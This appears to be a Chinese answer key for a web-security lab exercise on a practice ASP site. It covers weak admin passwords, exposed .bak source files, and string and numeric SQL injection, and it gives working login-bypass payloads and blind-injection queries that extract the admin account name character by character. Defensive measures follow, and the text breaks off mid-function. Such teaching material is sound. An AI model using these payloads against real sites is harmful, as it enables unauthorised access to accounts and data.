漏洞网试题答案
一、弱口令漏洞
1.猜测后台登录地址;
答案:gengshang.vicp:8896/5ucms/admin/Login.Asp
2.猜测登录的用户名和密码;
答案:admin;admin
3、回答:一般在电子商务网站用户名和密码后台管理容易犯得错误是什么?后台管理的密码管理有什么要求?如何防范攻击?如果你是网管员,你有哪些弥补措施?
答案:一般后台管理对用户名和密码的设置在开发网站时为了简单易记操作方面,习惯性的都用admin或者123456之类的来命名,这样的弱口令很容易让攻击者识破,对后台管理系统极其不安全。后台管理者应该在开发完成后,及时修改用户名和密码,以免被攻击者有机可乘。
后台防范攻击的具体方法和措施如下:
(1)后台密码使用大小写字母加数字,不要使用弱口令及网址名称,不定期更改密码
(2)对于管理员和普通用户应设置用户权限
(3)登陆界面页命名不要用login之类的,自定义命名
(4)把登录界面页放在较深的目录中,让攻击者难以到
(5)登录需要输入验证码
(6)后台限IP登录访问
二、Bak文件+目录浏览漏洞
1.写出你获取到的bak文件的名字。
答案:index.asp.bak/xinxi.asp.bak/register.asp.bak/admin.asp.bak/chuli.asp.bak
2.写出你猜测到的网站子目录的名字。
答案:images和css
3.SQL注入是如何造成的?用简单的SQL语句说明逻辑恒真的发生?如何防范.bak的下载?网站目录的安全规则该如何设定?
答案:(1)bbsuser=trim(request.form("UserName"))
password=trim(request.form("Pass"))
从这两行代码中看出,网站是通过URL传值来获取用户名和密码的,这两行代码并没有对输入字符串进行特殊字符过滤。
str="select * from user where username='"&bbsuser&"' and password='"&password&"'"
这是拼接SQL字符串,导致存在SQL注入漏洞。
(2)SQL语句:
select * from user where username='"&bbsuser&"' and password='"&password&"'
给username和password赋值"'or'1=1"和"'or'1=1"。
SQL脚本解释器中的上述语句就会变为:
select * from user where username=''or'1=1' and password=''or'1=1'
该语句中进行了两个判断,只要一个条件成立,则就会执行程序,而1=1逻辑恒真,所以语句正常执行。
(3)防范.bak的下载:
很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如本实验网站的xinxi.asp文件,则编辑器会自动生成一个xinxi.asp.bak文件,此文件没有删除,攻击者可以通过gengshang.vicp:8896/look/xinxi.asp.bak来下载asp源程序。源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,用户名、密码、数据库名称/位置等信息都会泄露。
解决方法:直接关闭编辑器的自动备份功能,或者在上传网站文件到网络空间时,删除所有.bak文件。
(4)设定网站目录的安全规则:
网站目录的建立要以最少的层次提供最清晰简便的访问结构,以最少的字母达到最容易理解的意义。
根目录只允许存放index.html和main.html文件,以及其他必须的系统文件。每个语言版本存放于独立的目录。已有版本语言设置为:
简体中文\gb,繁体中文\big5,英语\en,日语\jp等等
每个主要功能(主菜单)建立一个相应的独立目录。
网站根目录下开设images子目录为存放公用图片目录,每个目录下私有图片存放于各自独立images目录。
所有的js文件存放在根目录下的scripts目录
所有的CSS文件存放在根目录下的styles目录
所有的模板文件存放在根目录下的templates目录
三、字符型注入漏洞
1.用简单的SQL语句说明逻辑恒真的发生?试写这个SQL的数据库调用代码。
答案:
用户名和密码:'or' ='or'进入后台管理界面
select * from users where userid='"&userid&"'and password='"&password&"'
给userid和password赋值"'or' ='or'"和"'or' ='or'"。
SQL脚本解释器中的上述语句就会变为:
select * from users where userid=''or' ='or''and password=''or' ='or''
此语句逻辑恒真
数据库调用代码:
Set conn=Server.CreateObject("ADODB.Connection")
conn.open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &server.mappath("/database.mdb")
(注:"/database.mdb"为网站ACCESS数据库实际路径)
四、数字型注入漏洞
1、查是否存在注入威胁,注入的类型;
2、利用地址栏输入,查是否存在admin表;
3、查admin表中第一条记录的name列的账号的位数;
4、查admin表中第一条记录的name列的首位数的asc码,并破解密码。
5、数字型漏洞注入如何确定是否有哪些账户?寻密码位数?如何确定第一位密码?参照书上的案例,说明如果存在这种漏洞,每个密码确定的逻辑是什么?如何防范?在案例中为什么and AND两种语句结果不一杨,如何更改使能够防范大写?sql容易学吗
答案:
1.当在网址后面输入and 1=1 时,会跳出该漏洞已被修复,说明小写的and 已经被过滤,当输入大写的AND 1=1 和AND 1=2 会分别跳出两个不同的页面,前者与原页面相同,后者与原页面不同,则说明存在SQL注入漏洞
2、当在网址后面输入增加:AND EXISTS(SELECT NAME FROM ADMIN) ,显示的页面与ID=39 的页面相同,说明附加条件成立,即表admin 存在,并且存在name列。
3、查admin表中第一条记录的name列的位数;
在网址后面加上AND (SELECT TOP 1 LEN(NAME) FROM ADMIN) BETWEEN 1 AND X
最后,AND (SELECT TOP 1 LEN(NAME) FROM ADMIN) BETWEEN 1AND 5, 页面与原来的相同,所以可以知道账户的位数是5
4、查admin表中第一条记录的name列的首位数的asc码;
用折半法的方法来猜解,当在网址后面增加AND (SELECT TOP    1 ASC(MID(NAME,1,1)) FROM ADMIN) BETWEEN 97 AND 97
ASC:97-a
根据以上的方法依次猜。破解账户名称: admin 同学们也可以依次破解密码。
5、回答以下问题:
(1)数字型漏洞注入确定是否存在ABC表的方法:
and exists(select * from ABC) //最效率的方法
and exists(select name from ABC where name =’ABC’)
and exists(select name from ABC)
(2)寻账户位数的方法:
and (select top 1 len(name)from ABC)>X,若>1 >2条件成立,则一直测下去,一直到条件不成立的为止,若>6 条件不成立,那么密码的位数就是6位;或者用折中发,and (select top 1 len(name) from ABC) between 1 and X (3)如何确定账户的第一位:
AND (SELECT TOP 1 ASC(MID(NAME, 1,1)) FROM ADMIN) BETWEEN X AND X,如果返回页面与原页面相同,则返回的ASCII码值所对应的字符就是密码的第一位。后面的依次类推。
(4)确定账户每位字母的逻辑:AND (SELECT TOP 1 ASC(MID(NAME,X,1)) FROM ADMIN)BETWEEN 97 AND 100,这里的X就是指NMAE列账户的第几位。
如何防范:
(1)在服务端正式处理之前对提交数据的合法性进行检查;
(2)封装客户端提交信息;
(3)替换或删除敏感字符/字符串;
(4)屏蔽出错信息。
(5)不要用字串连接建立SQL查询,而使用SQL变量,因为变量不是可以执行的脚本;
(6)目录最小化权限设置,给静态网页目录和动态网页目录分别设置不同权限,尽量不给写目录权限;
(7)修改或者去掉Web服务器上默认的一些危险命令,例如ftp、cmd、wscript等,需要时再复制到相应目录;
(8)数据敏感信息非常规加密,通过在程序中对口令等敏感信息加密都是采用md5函数进行加密,即密文=md5(明文),在原来的加密的基础上增加一些非常规的方式,即在md5加密的基础上附带一些值,如密文=md5(md5(明文)+123456);
(9)下列的函数也能对防止一切的SQL
Function SafeRequest(ParaName,ParaType)

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。